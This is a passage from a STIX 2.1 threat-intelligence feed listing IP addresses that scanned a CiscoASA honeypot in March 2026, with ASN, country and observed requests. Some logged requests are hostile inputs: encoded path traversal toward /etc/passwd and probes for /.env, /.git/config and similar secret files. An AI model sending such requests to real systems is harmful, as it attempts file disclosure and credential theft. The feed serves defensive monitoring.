      "valid_from": "2026-03-05T08:20:13.000Z",
      "valid_until": "2026-04-06T08:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-05T07:49:00.940Z",
          "last_seen": "2026-03-05T07:49:03.943Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T12:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--c0ab3647-e544-4347-8ecc-b9f6ad1505dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T12:20:20.000Z",
      "valid_until": "2026-04-06T12:20:17.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-05T12:01:42.132Z",
          "last_seen": "2026-03-05T12:01:42.132Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T12:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--3e257495-b689-400d-8ca7-b07930c4bcb8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T12:20:20.000Z",
      "valid_until": "2026-04-06T12:20:17.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-05T12:00:34.404Z",
          "last_seen": "2026-03-05T12:00:34.404Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T13:22:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: NL; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--eab75e74-ed72-4efe-86ae-d1caf6c7b9c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '68.183.9.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T13:22:13.000Z",
      "valid_until": "2026-04-06T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 41,
          "first_seen": "2026-03-05T13:05:50.587Z",
          "last_seen": "2026-03-05T13:07:00.018Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.DS_Store HTTP/1.1\" 404 -",
            "\"GET /.env HTTP/1.1\" 404 -",
            "\"GET /.git/config HTTP/1.1\" 404 -",
            "\"GET /.vscode/sftp.json HTTP/1.1\" 404 -",
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
            "\"GET /?rest_route=/wp/v2/users/ HTTP/1.1\" 404 -",
            "\"GET /@vite/env HTTP/1.1\" 404 -",
            "\"GET /about HTTP/1.1\" 404 -",
            "\"GET /actuator/env HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T16:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: NL; ASN 396982 (Google LLC)",
      "id": "indicator--484b6993-ac08-4d96-a39a-5a4b04ece8b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.178.59.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:20:12.000Z",
      "valid_until": "2026-04-06T16:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-05T15:45:41.059Z",
          "last_seen": "2026-03-05T15:45:42.005Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: DE; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--60da2ccf-5ef2-4d2c-bf88-a40d19ac1fad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.99.141.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T17:20:13.000Z",
      "valid_until": "2026-04-06T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-05T16:45:30.512Z",
          "last_seen": "2026-03-11T21:08:06.540Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 - geo: NL; ASN 51396 (Pfcloud UG (haftungsbeschrankt))",
      "id": "indicator--9f36a1a4-3f8d-428d-aa06-02b816510394",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T17:20:13.000Z",
      "valid_until": "2026-04-06T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-05T16:20:31.875Z",
          "last_seen": "2026-03-19T05:16:06.365Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 51396,
          "as_org": "Pfcloud UG (haftungsbeschrankt)",
          "event_types": [
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--f1ce2ece-d59b-4580-8397-0a6483e0aa76",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.32.149.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:20:13.000Z",
      "valid_until": "2026-04-06T18:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 16,
          "first_seen": "2026-03-05T18:10:38.588Z",
          "last_seen": "2026-03-05T18:11:29.011Z",
          "country": "United States",
          "country_code": "US",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T20:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--1327664e-cd31-455d-b94a-a957deb8a848",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '209.38.136.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:20:13.000Z",
      "valid_until": "2026-04-06T20:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-05T20:05:42.008Z",
          "last_seen": "2026-03-05T20:05:45.010Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T20:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.131.220.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T20:20:13.000Z",
      "valid_until": "2026-04-06T20:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 10,
          "first_seen": "2026-03-05T19:37:30.588Z",
          "last_seen": "2026-03-18T18:29:31.794Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T23:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--1af1e9d5-1ce5-4871-91fb-50b21f5cb83a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '134.209.234.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T23:20:12.000Z",
      "valid_until": "2026-04-06T23:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-05T22:23:43.405Z",
          "last_seen": "2026-03-05T22:23:50.837Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T23:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 201002 (PebbleHost Ltd)",
      "id": "indicator--39bb51e8-9c01-49cb-a2bf-52c608a6f5f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T23:20:12.000Z",
      "valid_until": "2026-04-06T23:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-05T22:37:02.040Z",
          "last_seen": "2026-03-19T07:23:47.929Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 201002,
          "as_org": "PebbleHost Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T01:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--e41150e9-068a-43da-b47b-c66157a06df8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '13.221.92.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:20:19.000Z",
      "valid_until": "2026-04-07T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T00:56:32.130Z",
          "last_seen": "2026-03-06T00:56:32.130Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T01:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--194c1243-35f0-4d60-9316-05087c42882d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.88.22.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:20:19.000Z",
      "valid_until": "2026-04-07T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-06T00:49:47.826Z",
          "last_seen": "2026-03-06T00:49:50.829Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T01:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--e3cf37aa-d19b-42f1-be27-e90b52504982",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '54.210.4.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:20:19.000Z",
      "valid_until": "2026-04-07T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T00:49:37.774Z",
          "last_seen": "2026-03-06T00:49:37.774Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T02:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CH; ASN 51852 (Private Layer INC)",
      "id": "indicator--08620171-a554-4338-b8a4-8d393d441a83",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '179.43.177.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T02:20:12.000Z",
      "valid_until": "2026-04-07T02:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T01:42:57.402Z",
          "last_seen": "2026-03-06T01:42:57.402Z",
          "country": "Switzerland",
          "country_code": "CH",
          "asn": 51852,
          "as_org": "Private Layer INC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T03:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BG; ASN 200391 (Krez 999 Eood)",
      "id": "indicator--b2b9014b-27b0-4743-a7ef-e92170446e51",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '5.188.206.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:20:25.000Z",
      "valid_until": "2026-04-07T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T02:43:52.054Z",
          "last_seen": "2026-03-06T02:43:52.054Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 200391,
          "as_org": "Krez 999 Eood",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T03:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--b7fa5d27-9bb2-443b-8a85-1777b2dd8e9e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:20:25.000Z",
      "valid_until": "2026-04-07T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 24,
          "first_seen": "2026-03-06T02:45:04.497Z",
          "last_seen": "2026-03-16T02:48:33.822Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T03:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--a7a04ed8-9187-4fb9-a5ac-f77e27d4bff3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:20:25.000Z",
      "valid_until": "2026-04-07T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T02:49:06.149Z",
          "last_seen": "2026-03-06T02:49:06.149Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T03:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--909c01bd-feb4-4ae6-874a-75075b3e6aa3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:20:25.000Z",
      "valid_until": "2026-04-07T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-06T02:49:28.125Z",
          "last_seen": "2026-03-16T02:46:20.116Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T03:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--7c45a322-6a31-4634-9478-66db807a3e75",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:20:25.000Z",
      "valid_until": "2026-04-07T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T02:49:33.867Z",
          "last_seen": "2026-03-06T02:49:33.867Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T03:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--80509897-54d4-4766-83b7-bef003b52f76",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
